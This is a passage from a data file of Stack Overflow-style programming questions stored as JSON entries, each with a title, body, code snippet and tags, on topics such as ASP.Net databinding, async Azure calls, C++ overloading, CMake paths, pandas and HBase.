kind of help will be appreciated.\n", "button", "java android if-statement android-
button onresume"], "595507": ["How to detect variable *name* (not type) within a
function (Why? For a custom ASP.Net databinding implementation)", "So, let's say I
have this code (VB.Net):\n\nTe output I want to see is:\nThe Value: HELLO WORLD was
stored in the variable named: xxx.\nIs this somehow possible, through reflection
possibly?? (And if you definitively know it isn't possible, thats useful to know
also).\nIn case you are wondering why I want to do this...I am trying to find some
decent way to write a custom binding class (for forms, not grids) for asp.net
because I can't seem to find anything that works well enough to be worth the
trouble of using it. (NOTE: I am working with webforms and cannot use MVC to solve
this problem). \nI'm thinking my convention for supplying the binding information
will be something like:\nasp:TextBox id=\"myClassInstanceName.myPropertyName\" ...\
nSo, then I can have a function like so: \n\nPersonally, I think this is a much
easier syntax and much more powerful than the recommended asp:FormView, Bind(\"\")
approach. For example:\n- if I want to implement the ability to render as read
only, its quite a simple change in my underlying Bind function.\n- if I want to
have more than one class used to populate the UI, I can\n- if I want to traverse a
rich domain model, I can, ie:\n asp:TextBox id=\"_Customer.Address.State\"\
nWhat I don't like is:\n- relies upon reflection\n- loosely typed (no compile time
checking)\n- I'd rather store the binding information somewhere other than ID, but
don't know where else it could go within the aspx definition. Moving the binding
declaration to the code behind would be better in some ways, but worse in
others. \nIf anyone has any insight or advice, I'd be very grateful!\n", "Sub
Main()\n dim xxx as string = \"HELLO WORLD\"\n\n DetectName(xxx)\n\nEnd Sub\n\
nPublic Sub (theVariable as string)\n dim output as string = \"The Value: {0} was
stored in the variable named: {1}.\"\n debug.writeline(string.format(output,
theVariable, What Goes Here????))\nEnd Sub\n", "c# .net asp.net vb.net"],
"5170990": ["Asynchronous calls using Async and Await", "In .Net framework 4.5
async and await keywords are introduced to do async calls.\nI have used them in web
applications too. I came to know that it can also be done using doing delegates.\
nBelow are my sample snippet showing how async calls are done\n\nSimilarly above 2
methods also have same kind of listing.\nIts taking me approximately 12-15 seconds
to retrieve data of 11+19+6 records.\nCould you guys help me in optimizing this
code so that it will be much faster.\n", " Public void binddata()\n
{\n certificate = HelperMethods.GetStoreCertifcate(Thumbprint);\n
ListHostedServices(SubscriptionId, certificate, Version);\n
hostedservicesview.ActiveViewIndex = 0;\n
ListStorageAccounts(SubscriptionId, certificate, Version);\n }\n\n
public async void ListHostedServices(string subscriptionId, X509Certificate2
certificate, string version)\n {\n\n string hittingUri =
String.Format(\"https://management.core.windows.net/{0}/\" +
\"services/hostedservices\",SubscriptionId);\n XmlDocument
responsebody= await HelperMethods.GetXmlDocument(hittingUri, certificate,
version);\n\n if (responsebody != null)\n {\n
var result = responsebody.GetElementsByTagName(\"HostedServiceProperties\");\n\n\n\
n hostedservices = new DataTable();\n
hostedservices.Columns.Add(\"Url\");\n
hostedservices.Columns.Add(\"ServiceName\");\n\n
hostedservices.Columns.Add(\"Location\");\n
hostedservices.Columns.Add(\"Label\");\n
hostedservices.Columns.Add(\"Status\");\n
hostedservices.Columns.Add(\"DateCreated\");\n
hostedservices.Columns.Add(\"DateLastModified\");\n foreach
(XmlNode hsnode in result)\n {\n DataRow hsrow
= hostedservices.NewRow();\n hsrow[\"Url\"] =
hsnode.ParentNode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Url\").Any() ?\n
hsnode.ParentNode.ChildNodes.OfType<XmlElement>().Where(x =>
x.Name == \"Url\").First().InnerText : string.Empty;\n
hsrow[\"ServiceName\"] = hsnode.ParentNode.ChildNodes.OfType<XmlElement>().Where(x
=> x.Name == \"ServiceName\").Any() ?\n
hsnode.ParentNode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"ServiceName\").First().InnerText : string.Empty;\n
hsrow[\"Location\"] = hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Location\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Location\").First().InnerText : string.Empty;\n\n // IF
location is empty, it means affinity group is returned, Pull location from affinity
group\n if
(String.IsNullOrEmpty(hsrow[\"Location\"].ToString()))\n {\n
string affnitygroup = hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"AffinityGroup\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"AffinityGroup\").First().InnerText : string.Empty;\n\n
certificate = HelperMethods.GetStoreCertifcate(Thumbprint);\n
hsrow[\"Location\"] = await HelperMethods.GetAffinityGroupLocation(subscriptionId,
certificate, Version, affnitygroup);\n\n\n }\n
hsrow[\"Label\"] = hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Label\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Label\").First().InnerText : string.Empty;\n
hsrow[\"Status\"] = hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Status\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"Status\").First().InnerText : string.Empty;\n
hsrow[\"DateCreated\"] = hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"DateCreated\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"DateCreated\").First().InnerText : string.Empty;\n
hsrow[\"DateLastModified\"] = hsnode.ChildNodes.OfType<XmlElement>().Where(x =>
x.Name == \"DateLastModified\").Any() ?\n
hsnode.ChildNodes.OfType<XmlElement>().Where(x => x.Name
== \"DateLastModified\").First().InnerText : string.Empty;\n
hostedservices.Rows.Add(hsrow);\n\n }\n
lbl_count.Text = hostedservices.Rows.Count.ToString();\n
HostedServicesList.DataSource = hostedservices;\n
HostedServicesList.DataBind();\n\n }\n\n else\n
{\n\n }\n\n\n\n\n }\n\n**XmlDocument responsebody= await
HelperMethods.GetXmlDocument(hittingUri, certificate, version);**\nThe method
definition is as follows\n public static async Task<XmlDocument>
GetXmlDocument(string hittingUrl, X509Certificate2 certificate, string Version)\n
{\n HttpWebRequest request;\n XmlDocument responsebody =
new XmlDocument();\n // string hittingUri =
\"https://management.core.windows.net/{0}/\" + \"services/hostedservices\";\n
Uri uri = new Uri(hittingUrl);\n\n\n request =
(HttpWebRequest)HttpWebRequest.Create(uri);\n\n request.Method
= \"GET\";\n request.Headers.Add(\"x-ms-version\", Version);\n\n
request.ClientCertificates.Add(certificate);\n request.ContentType
= \"application/xml\";\n\n\n\n\n HttpWebResponse webresponse= null;\n\n
try\n {\n webresponse = (HttpWebResponse)await
request.GetResponseAsync();\n\n }\n catch (Exception)\n
{\n\n }\n\n HttpStatusCode statuscode =
webresponse.StatusCode;\n if (webresponse.ContentLength > 0)\n
{\n using (XmlReader reader
=XmlReader.Create(webresponse.GetResponseStream()))\n {\n
responsebody.Load(reader);\n\n\n }\n }\n\n if
(statuscode.Equals(HttpStatusCode.OK))\n {\n return
responsebody;\n }\n else\n {\n
return null;\n }\n\n\n }\n", "azure delegates xml-parsing sql-
azure async-await"], "2722147": ["Embedding fonts in css file", "HI everyone i am
new to this css i am developing a website for that site i am using kannada fonts
but i wnat to embed the fonts in css how to embed that can any one please give
sugessions and solutions .. thanks in advance\n", "", "css fonts"], "5241895":
["iOS NSString in UTF16", "I have a string that I fetched from an Apache server
over HTTP:\n\nI need to make that string a UTF16 string. I don't want to turn it
into NSData. I need to keep it NSString and I need it to be in UTF16.\nI would be
happy to put it in an NSData object even, if I could do it as UTF16. I'm doing
something similar now:\n\nBut that still transfers it as UTF8.\nIt's probably
simple and I'm missing it. But I don't find it in the Apple docs or this site, and
my Google-Fu has failed me.\nWhat am I missing? How do I do that?\nThanks for your
time and help.\nEDIT:\nOk. All of what you and Justin have said makes sense and
makes things make more sense.\nSo this is what I am doing. It seems to be correct
from this line but I wanted to make sure I am understanding you correctly.
\n\nThat last part is what I am doing with the string after it's UTF-16. I have a
category that makes it an MD5 hex string similar to http://blog.blackwhale.at/?
tag=hmac\nThanks again. I'll bump you guys both and say this is the right answer.\
n", "- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data
{\n responseString = [[NSString alloc] initWithData:data
encoding:NSUTF8StringEncoding];\n ...\n", "ios nsstring nsurlconnection utf-
16"], "5403793": ["Executable pipe and filter graph in Java", "I am currenty
writing my master's thesis about monitoring of distributed systems. For this
purpose I have designed a framework that can record monitoring data and analyze
this data in a series of filters (pipes and filter style). It is based on the
Kieker monitoring framework.\nYou can connect the different filters to each other
by subscribing to an output port, like so:\n\nThis mechanism is provided by the
Kieker framework which I am using.\nTo run an analysis the user currently has to
connect the filters manually by writing out the code. What I want to do now is
write a tool with a GUI that makes it easier to create a configuration (set of
filters, input files and the connections). Ideally the user could do it like in a
UML editor, creating boxes (filters) and connecting them with lines (connections)
and set the parameters for input (input files) etc.\nThese configurations then need
to be executed, meaning I need a mapping from the graph to the code to the java
code. That was my idea so far. First off: do you think this approach is the right
one for this task?\nIn my research I found the framework JHotDraw which has a lot
of the features I just mentioned. With JHotDraw I can create the visual elements
(Figures) on a drawing area (DrawingEditor) including a set of tools to create,
edit and connect the elements. This I have done and it's pretty straightforward. A
bonus is the undo/redo functionality of JHotDraw.\nNow my problem: I am not sure
how I am supposed to get from the graphical representation in the editor to the
java code. What I have is the V-part of the MVC pattern which the framework
supposedly uses. The Figures are the view. But where does the model go and how does
it integrate into the framework? I am thinking that for every element that is
displayed in the DrawingEditor I will have to have a corresponding model that
stores the data for the element. A FilterModel would have attributes like input
data types (which data can it process), output ports and their data types (what
kind of data does it create) and the type of the filter (corresponds to the Java
class). Those are necessary to check if one filter can connect to another and to
execute the whole thing in the end.\nNot sure if I am making myself clear. If
anything is unclear please ask.\n", "DurationFilter durationFilter = new
DurationFilter();\nTimeline timeline = new Timeline(...);\
ndurationFilter.getOutputPort().subscribe(timeline);\n", "java graph filter pipe
execution"], "5212312": ["Android SDK and Java EE Eclipse crash", "so googled a
bunch and read up on this crash. But I didn't find anyone else with a persistent
error. \nI'm running a 64 bit Windows 7 and the HD is fully encrypted. When I run
the program normally I see only a blip of the purple splash screen, it disappears
almost instantly. \nI tried running in console, and it says that the VM failed to
initialize because java/lang/Object gave a Noclassdeferror\nI tried removing
android, removing eclipse, running CCleaner for registry, reinstalling jdk,
changing all environment variables to point to a new jdk, reinstalling classic
eclipse, and just trying to get to the workbench. \nNo luck. If anyone has ideas,
i'm all ears. \n", "", "android eclipse java-ee crash"], "3941408": ["AIR
application and fast search engine", "I'm working on a AIR desktop client which
will basically be used to search for pictures. For now, the search will only be
performed on the picture filename, but I'd like to add a tagging system. \nI would
like the search to be very fast, but I'm not sure SQLite is responsive and fast
enought. \nDo you have any alternatives to store and retrieve datas locally within
a AIR application ?\nThanks !\n", "", "sqlite air"], "3465236": ["Using jQuery
plugin in WordPress post loop", "I'm
using the scrollTo jQuery plugin on my front page so a user can scroll through
featured posts w/out having to use the scroll bar. My script requires an id as an
anchor for each reference point to scroll to, in this case my post titles.\nMy
problem is I can't seem to apply an id to every post title on the front page, just
the first post in the loop.\nHTML/PHP:\n\njQuery:\n\nWhen I try to apply the
anchor, , to , I am able to scroll, but no further than the first post in the
loop.\nIt seems to me the issue is applying the same id to every post title in the
loop, but I havent figured out how to do it yet.\nAny help would be great, I've
been at this for a few hrs and can't seem to get it.\nThanks\n", "<div id=\"nav-
dock\">\n <div class=\"btn\"><a id=\"prev\"
href=\"#\"><span>Prev</span></a></div>\n <div class=\"btn\"><a id=\"next\"
href=\"#\"><span>Next</span></a></div>\n</div>\n\n<div class=\"post-desc-
multiple\">\n <h2 class=\"header-wrap\"><a id=\"scroll\" href=\"<?php
the_permalink(); ?>\"><?php the_title(); ?></a></h2>\n <?php\n\n
if(get_post_type()=='post'){\n $the_date = get_the_time('l, F j, Y');\n
}\n\n $comment_count = get_comments_number();\n if($comment_count >=
1 && get_post_type()=='post') {\n $comment_buffer
= \"&nbsp;&nbsp;&middot;&nbsp;&nbsp;\";\n } else {\n
$comment_buffer = \"\";\n }\n\n ?>\n <div class=\"post-date-
multiple\"><?php echo $the_date . $comment_buffer ?><a href=\"<?php
the_permalink(); ?>#comments-block\"><span><?php \n comments_number('', '1
Comment', '% Comments') ?></span></a></div>\n <?php\n $the_excerpt =
strip_shortcodes(get_the_excerpt());\n echo $the_excerpt;\n ?>\n <div
class=\"post-more hype-btn clearfix\">\n <a href=\"<?php the_permalink(); ?
>\"><span>Read More &raquo;</span></a>\n </div>\n</div> \n", "plugins jquery"],
"3506934": ["Which compiler is correct for the following overloading/specialization
behavior?", "Consider the following code:\n\nWhat's the expected output? \"T\" or
int?\nOne compiler (gcc 4.0.1 from Apple's Xcode 3.1.2) output \"int\", two other
compilers (gcc 4.1.2 and 4.1.3) output \"T\".\nIf I move foo(int *, int)
declaration/definition before the foo(T *, int) version, all output \"int\". Is the
order of overloading/specialization in this case defined by the current standard?\
n", "#include <stdio.h>\n\nnamespace Foo {\n template <typename T>\n void foo(T
*, int) { puts(\"T\"); }\n\n template <typename T>\n struct foo_fun {\n static
void fun() { foo((T *)0, 0); };\n };\n}\n\nnamespace Foo {\n void foo(int *, int)
{ puts(\"int\"); }\n}\n\nusing namespace Foo;\n\nint main() {\n foo_fun<int> fun;\
n fun.fun();\n}\n", "c++ standards specialization overloading"], "3202921":
["CMake generates too long pathnames on Makefile generation", "A current project
has a pretty complex structure (which I can't change) and it uses CMake.\nBut I
have troubles to create a Makefile which can be compiled.\nMainly the problem is:
If my projects is stored in , some source in and the build folder in , cmake
creates some folders like . I think you get the point - it happens that the
resulting paths are longer than 260 characters.\nI can not flatten the project
structure(not my code). The only way to make this work is to put the whole project
somewhere higher in the folder structure - (very)near to the drive root (I've got
about 10-15 chars to spare). But this isn't really acceptable, sometimes there are
more characters needed.\nIs there any way to either convince CMake to create flat
structures in the build dir or to use longer pathnames (in WinXP)? Or some other
idea?\n", "D:\\a\\b\\c\\", "path windows-xp cmake"], "676225": ["Oracle downloads -
can downloads be scripted?", "I would like to automatically download oracle
products including updates. Is it possible to script the downloads for something
like instant client?\nhttp://www.oracle.com/technetwork/database/features/instant-
client/\n", "", "download oracle"], "3827839": ["document.referrer and close()", "I
have the below script on a page, let's say \"child.html\".\nI only want the browser
to see the function if the referring URL is the one listed in the statement of
the script (parent.html), otherwise I don't want the browser to see it. \nThe page
that this script is on is a child page (a popup) of a parent page. Users
(hopefully) will only access the parent page, which will subsequently open this
child page and close the parent page at the same time using the function. \nThe
function works fine and does what I need it to do (closes the parent after opening
the popup). But, if the child page URL is accessed directly (in other words without
being directed from the parent page), then obviously there is no parent page to
close and I get the script error:\n'opener' is null or not an object\nI understand
the error message, hence why I'm trying to hide 'opener' if the referring URL IS
NOT parent.html so that if someone happens to access the child page directly,
opener is hidden and no error message. \nWhat do I need to change in the below
script to make this work?\n\nAlternatively, I tried writing the following:\n\nBut
that returns the script error: 'return' statement outside of function.\nThanks very
much in advance for any help you can offer!\n", "opener.opener = opener;
opener.close()", "javascript if-statement close referrer"], "5022204": ["RAW POST
using Curl in PHP", "How can I do a RAW POST in PHP using curl. Raw post as in
without any encoding, and my data is stored in a string. The data should be
formatted like this\n\nOne option is to manually write the entire HTTP header being
sent, but that seems less optimal. \nAny way I can just pass options to
curl_setopt() that say use POST, use text/plain, and send the raw data from a
$variable? \nThanks.\n", "... usual HTTP header ...\nContent-Length: 1039\nContent-
Type: text/plain\n\n\n89c5fdataasdhf kajshfd akjshfksa hfdkjsa falkjshfsa\najshd
fkjsahfd lkjsahflksahfdlkashfhsadkjfsalhfd\najshdfhsafiahfiuwhflsf this is just
data from a string\nmore data kjahfdhsakjfhsalkjfdhalksfd\n", "php post curl put"],
"4179445": ["delphi datasnap 2010 from server to client file transfer", "Have
anyone tried to transfer file from Server to Client? or Transferring XML from
Server to Client? Can anyone a running code for this?\nthanks and best regards,\
nbtw, how could I post an answer?\n", "", "delphi delphi-2010 datasnap"],
"5679810": ["Pandas advanced indexing assignment", "in a Pandas (v0.8.0) DataFrame
I want to overwrite one slice of columns with another.\nThe below code throws the
listed error. \nWhat would be an efficient alternative method for achieving this?
Thanks.\n\n--\nEdited\nAnd as a permutation, how could I also specify a subset of
the rows to set\n\n", "df = DataFrame({'a' : range(0,7),\n'b' :
np.random.randn(7),\n'c' : np.random.randn(7),\n'd' : np.random.randn(7),\n'e' :
np.random.randn(7),\n'f' : np.random.randn(7),\n'g' : np.random.randn(7)})\n\n#
overwrite cols\ndf.ix[:,'b':'d'] = df.ix[:, 'e':'g']\n\nTraceback (most recent call
last):\nFile \"C:\\Python27\\lib\\site-packages\\pandas\\core\\indexing.py\", line
68, in __setitem__\nself._setitem_with_indexer(indexer, value)\nFile \"C:\\
Python27\\lib\\site-packages\\pandas\\core\\indexing.py\", line 98, in
_setitem_with_indexer\nraise ValueError('Setting mixed-type DataFrames with '\
nValueError: Setting mixed-type DataFrames with array/DataFrame pieces not yet
supported\n", "python pandas"], "1510088": ["RegionManager for regions in floating
windows", "All the Prism 4 examples I've seen use Regionmanager to manage regions
that arranged on some sort of layout. I'd like the regions to be inside of
Floatablewindows (or something similar) instead, where they float over an ArcGIS
Silverlight map control.\nIs there some way to get RegionManager to do this?\nIf
not, is there some alternative to RegionManager (like maybe, WindowManager) that I
can use to manage floating (and ideally dockable) windows?\n", "", "silverlight
prism"], "4021259": ["Remove registry entry to attach a process when it starts", "I
have entered a Registry Key to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows
NT\\CurrentVersion\\Image File Execution Options\nI used this to debug my
application when it starts. But now i want remove the entry, but nothing changed. I
restarted my pc but still the same. Why does the window that asks me to debug still
appears though i rmoved the entry?\nThis question depends on How to debug a C# .Net
application in VS2010 that is started from another process\nScreenshot:\n\n", "",
".net windows debugging process registry"], "2766938": ["Is there a way to get the
measurements of \\t in an NSString?", "If this is a repeat, let me know and I'll
remove it immediately--I've had the devil of a time searching for the answer, since
\"\\t\" returns searches without the forward slash.\nI need to find the width of an
NSString that contains begins with . Using doesn't do it, since it just ignores
the space. Is there a way to measure how much space the tab takes up? \n", "\\t\\
t", "ios objective-c nsstring"], "5023005": ["Handling eTags on iPhone", "Any idea
how to handle eTags at client side? We are planning to use eTags with images in our
application which are coming from the server.\nFor what is eTag please see this:\
nhttp://en.wikipedia.org/wiki/HTTP_ETag\n", "", "iphone cocoa-touch uiview etag"],
"3522212": ["IIS with multiple user accounts", "I've got a little server plugging
along, with IIS and some other stuff. Is it possible to allow a second user access
to the IIS Manager, with the ability to create and edit sites, but keep the two
accounts' sites separate?\nI'm not worried about security between the two accounts,
just separating the two accounts' sites for neatness and
so that one user doesn't accidentally change something tied to the other account.
At the moment I have two users part of the administrators group, and if I open IIS
Manager with either one they both show all the sites.\nWindows Server 2008 R2 / IIS
7.5\n", "", "windows-server-2008 iis user-management"], "592752": ["Need Java
profiler tool", "I have to do profiling of the Java application. I would appreciate
if anyone let me know the free Java pr-filer. I heard about YourKit but don't know
much about performance of it.\nAlos like the information on Java code
optimization.\nThanks in advance.\nThanks\n", "", "java optimization profiler"],
"2780607": ["JQGrid is it possible to remove paging when searching?", "Is there an
easy way to disable paging when searching in a JQGrid?\nWhen a user searches I want
to display all of the search results on one page. \nBasically I want and the pager
disabled but only when a user searches. \nEdit: Got this to work with something
like:\n\n", "rowNum: 10000", "jquery css jqgrid"], "2766939": ["Boost::GIL How to
save image as JPEG or PNG into char*?", "So I see samples all around on saving into
file. But I wonder if it is possible to save into char* or string instead of file -
so to say keep it in memory?\n", "", "c++ boost save jpeg boost-gil"], "4947191":
["how to avoid long namespaces in Javascript", "We are starting a new project and
we have decided to use javascript \"\"namespaces\"\" to organize our client side
code. The thing is that we have noticed that we can end very easily with super-long
namespaces that are dificult to remember like\n\
nmyProject.components.myComponent.doSomethig();\n\nIs there any better way to do
this or create some kind of \"alias\" somehow?\nThanks.\n", "", "javascript
namespaces"], "4498789": ["Problem with Tapestry palette's arrow icons in IE8",
"I'm using Tapestry to create pages for a web app, and have been using the palette
component to add/delete items to/from a group.\nThe page looks great in Firefox
(Tapestry seems biased towards Firefox), but my customers will all be using
Internet Explorer (any versions from 6, 7, & 8) and in IE8, the disabled arrow
buttons look awful. In Firefox, they are faded, using an opacity setting of 25%,
but this doesn't work in IE8 and instead you get a faded image with an ugly black
border around the image.\nIn tapestry-core's stylesheet (default.css), you have the
following for a disabled arrow button.\n\nThese are clearly out of date, as -moz-
opacity is no longer supported by Firefox (use opacity: 25 instead). The problem
is with filter: \"alpha(opacity = 25);\". If I remove this, the arrows look fine
in IE8, but they are not faded.\nI got the magic instruction:\n\nfrom various
websites, but putting this in does not work either - the arrow icons are ugly
again.\nThe icon itself (distributed with Tapestry) just seems to be a regular PNG,
but I'm not an expert on image formats, so maybe there's a problem there?\nAnyone
else had this problem?\n", "DIV.t-palette-controls BUTTON[disabled] IMG {\n
filter: alpha(opacity = 25);\n -moz-opacity: .25;\n}\n", "internet-explorer
stylesheet opacity tapestry"], "4070424": ["Crawling Ajax.request url directly ...
permission error", "I need to crawl a web board, which uses ajax for dynamic
update/hide/show of comments without reloading the corresponding post.\nI am
blocked by this comment area.\nIn Ajax.request, url is specified with a path
without host name like this :\n\nIf I try to access the url with the full host name
then \nI just got the message: \"Permission Error\" :\n\nwill result in the same
error.\nThis is the same even when I call the actual php url in the web browser
like this:\nhttp://host.name.com/bbs/comment_db/load.php?'id=work_gallery&..'\nI
guess that the php module is restricted to be called by an url in the same host. \
nAny idea for crawling this data ?\nThanks in advance.\n-- Shin \n", "new
Ajax(**'/bbs/comment_db/load.php'**, {\n update : $('comment_result'), \n
evalScripts : true, \n method : 'post', \n data :
'id=work_gallery&no=i7dg&sno='+npage+'&spl='+splno+'&mno='+cmx+'&ksearch='+$
('ksearch').value,\n onComplete : function() {\n $
('cmt_spinner').setStyle('display','none'); \n try { \n $
('cpn'+npage).setStyle('fontWeight','bold'); \n $
('cpf'+npage).setStyle('fontWeight','bold');\n } catch(err) {} \n }\
n}).request();\n", "ajax url request hostname"], "2362405": ["Node.js: Regular
Expression", "I'm having some trouble with regular expressions in Node.js/\nThis is
what I have:\n\nI'd like to get the value between Temp= and *C (20.9 in this case)
and also the value between Hum = and % (43.7 in this case).\nThanks a lot for your
time.\n", "Using pin #4\nData (40): 0x1 0xb5 0x0 0xd1 0x87\nTemp = 20.9 *C, Hum =
43.7 %\n", "regex"], "12353": ["EC2 instance store cloning or to ebs via gui
management console", "I have found similar questions here but the answer are either
outdated or are from the command line.\nThe case is this. I have an EC2 instance
using instance store (this was the only AMI available for Debian 6 in Ireland). Now
through the AWS GUI I can do a snapshot of the instance volume and/or even create a
volume. But an image made from the snapshot doesn't boot. \nWhat is the best
solution to either clone an EC2 instance that uses instance store OR from the
created snapshot of the instance store to launch a new EBS instance (identical
clone) FROM the gui aws management console and not command line ? Before turning
this down consider that there is not similar question on how to do it via the aws
management console. \nhint can't be done is not an appropriate answer. As you can
create a snapshot of the instance store backed instance and/or a volume and create
an AMI from that snapshot.\n", "", "amazon-ec2"], "2420634": ["\"first\" helper
method", "I've been looking at a project for a login module, but I'm not sure
exactly what this helper method is doing:\n\nWhy not instead of:\n\n...you do
something like:\n\nThanks!\n", "def self.authenticate(login, pass)\n u =
User.first(:login => login)\n return nil if u.nil?\n return u if
User.encrypt(pass, u.salt) == u.hashed_password\n nil\nend\n", "ruby methods
helper"], "3564765": ["Windows 7 keyboard become unusable when rebooting from
Ubuntu", "I installed Windows 7 on my laptop (at ), then I installed Ubuntu 11.10.\
nEvery time I exit Ubuntu and reboot to Windows 7, at the welcome screen, the
keyboard become unusable. If I restart my laptop and choose to boot to Windows 7,
the keyboard become usable again.\nWhat can I do to solve this?\n", "C:\\",
"windows-7 ubuntu keyboard dual-boot"], "5135984": ["Maven doesn't run TestNG tests
generated by groovy compiler", "I have a java project with tests written in
groovy.\nI use TestNG as unit testing framework.\nI also have several tests written
in java.\nAfter maven phase all tests (both groovy and java) are compiled and
placed in the similar folder inside .\nWhen I want to run tests with maven, only
java tests are run.\nWhen I tried to run groovy test from the IDE (IntelliJ IDEA),
it runs perfectly.\nI decompiled groovy test and here is what I have:\n\nHas anyone
met similar issue? What can be wrong here?\nCan it be connected with the fact that
class implements ? Can it be connected with bad surefire version?\nThanks!\nUPD:\
nGroovy-related settings in :\n\nGroovy tests are placed in , java tests are placed
in . \nAfter phase they both are in .\nI don't have special section for surefire
in my , but from looking at local repository I can say that surefire plugin of
version is being used.\n", "test-compile", "java maven groovy testng"], "5570764":
["Zend Framework 2 - CSRF Token Server-side validation", "I've got the following
issue on my mind: I built some kind of generic fieldset which I want to use in all
my standard forms. It contains a and a .\nIt works great on the client side. But I
wonder: If I use this where is my logic to proof on the server side that this
token is ok. Or is this handled by somewhere in the background?\nThanks!\n",
"CSRF-Token", "php forms zend-form zend-framework2 csrf-protection"], "3641836":
["Renaming duplicates in Javascript Array", "I'm looking for the most efficient way
to rename (append-1, -2 etc.) a variable, if it already exists in a string.\nSo I'm
keeping an array\"\n\nAnd as soon as I see that a variable:\n\nIs already in my
dupeCheck array, I want to immediately append the value of UID with -1,\nAlso, I
need to prevent a third duplicate becoming string-1-1, but rather string-2..\nI saw
this: Appending the count to duplicates in a javascript string array before, but
It's nog exactly what I want...\nAny smart ideas? I prefer jQuery..\n/Edit:\nFor
example:\n\nSo when we get out of the \"UID\" case, I want to make sure it has a
unique value\n", "dupeCheck = [];\n", "jquery arrays duplicates"], "5436858":
["Super admin can't edit frontend (solved)", "---update: {\nThe problem did com
from the template....}\nThe problem might com from db since I did some operation on
it. Where could I ask this edit icon to show?\nI had first no icon at all in the
frontend. I changed to a native joomla 2.5 template (beez 20) and I get only the
print and mail icon, but still no luck with editing icon. I checked all parameter
(cf beneath) but without any luck. \nSolution: (don't laugh!) I though i was login
in the frontend but I wasn't. Even if the 2 icons where displayed\n\n`Joomla
Bakcned >> Article Manager >> Options >> Editing Layout tab\nThen ensure the first
2 parameters are set to \"Yes\".\nIf so, then go to the permissions tab, then click
\"Super Users\" and ensure the group has the correct permissions.\nBy the way, this
if for the default Joomla articles. If you are using K2 then you will need to
create a new user group within the component,
add your user to that group, then give the group editing permissions. `\n", "",
"database templates joomla phpmyadmin joomla2.5"], "1196190": ["open method opens
files with full path only C++", "File opens if I write the full path
(full-path/roots.txt).\nFile fails to open if I write the filename only
(roots.txt)\nAnd yet, roots.txt is in the same folder as the main.cpp. \nIs there
any settings I should check on XCode? \nHere's the code:\n\nThank you everyone\n",
" string line;\nifstream infile;\ninfile.clear();\n//
infile.open(\"roots.txt\");\ninfile.open(\"/Users/programming/C++/roots/
roots.txt\");\nif (infile.fail()) cout << \"could not open the file: \" <<
strerror(errno);\ngetline(infile, line);\ncout << line;\n", "c++ xcode open
ifstream"], "4751016": ["Get HBase Row Keys in Range without Retrieving Data?", "Is
there a way to retrieve the row keys in a given range without actually retrieving
the columns/CFs associated with that row key? \nFor clarification: In my example,
our table's row keys are stock ticker names (e.g. GOOG), and in our web app we'd
like to populate an autocomplete widget using just the row keys we have in the
database. Obviously, if we retrieve all the data (instead of only the stock names)
for all the stocks between G and H when a user types 'G', we'll be unnecessarily
straining our system. Any ideas?\n", "", "hbase"], "1843493": ["How to perform a
button click after a postback to open a modal window", "I am having trouble with
making my button perform a click after a postback. I am validating some textboxes
within a modal window on a web page, which only appears after a button click.
Currently after the postback the web page re-opens and the modal window is closed,
which is required to be open. There is no handler in my code, the button is clicked
and runs html code to bring up the modal window. I need this button to perform a
click once i have posted back so that the validation is initiated. I have tried
using btnSickness.Click() but it does not seem to like this and can't seem to find
anything anywhere! Code:\n\nModal window code:\n\n", "public partial class
_Default : System.Web.UI.Page\n{\n\n int i = 0;\n\n protected void
Page_Load(object sender, EventArgs e)\n {\n if (i > 0)\n {\n
} \n\n }\n\n protected void chkDoctor_SelectedIndexChanged(object
sender, EventArgs e)\n {\n if (drpDoctor.SelectedValue == \"Yes\")\n
{\n txtIfNoWhy.ReadOnly = true;\n txtIfNoWhy.BackColor =
Color.LightGray;\n i++;\n }\n else if
(drpDoctor.SelectedValue == \"No\")\n {\n txtDocName.ReadOnly =
true;\n txtHouseName.ReadOnly = true;\n txtStreet.ReadOnly =
true;\n txtTownCity.ReadOnly = true;\n txtCounty.ReadOnly =
true;\n txtPostalcode.ReadOnly = true;\n
txtInitialDate.ReadOnly = true;\n txtTreatmentRecieved.ReadOnly = true;\
n txtCurrentTreatment.ReadOnly = true;\n\n
txtDocName.BackColor = Color.LightGray;\n txtHouseName.BackColor =
Color.LightGray;\n txtStreet.BackColor = Color.LightGray;\n
txtTownCity.BackColor = Color.LightGray;\n txtCounty.BackColor =
Color.LightGray;\n txtPostalcode.BackColor = Color.LightGray;\n
txtInitialDate.BackColor = Color.LightGray;\n
txtTreatmentRecieved.BackColor = Color.LightGray;\n
txtCurrentTreatment.BackColor = Color.LightGray;\n i++;\n }\
n }\n}\n", "c# asp.net html5 twitter-bootstrap"], "4183756": ["Removing unwanted
characters from a string", "I have a program where I take a date from an RSS file
and attempt to convert it into a . Unfortunately, the RSS file that I have to use
has a lot of spacing issues. When I parse the string I get this:\n\nI want to
remove all of the 's and's. So far these have all failed:\n\nEvery one of the
commands will return the same string. Any suggestions?\n(I tagged RSS in the case
that there is an RSS reason for this)\n", "DateTime", "c# rss"], "3015859": ["How
to view when page was last refreshed in Firefox", "Is there a way to know when the
last time a page was refreshed in Firefox? I always have lots of tabs open. For
certain pages, it would be helpful to know when it was last refreshed.\n", "",
"firefox webpage refresh"], "1600366": ["Views Exposed Filters as list of links
instead of select", "Using Drupal 6, Views 2 with exposed filters, I'm trying to
determine the best way to convert the select list to a list of links, each with a
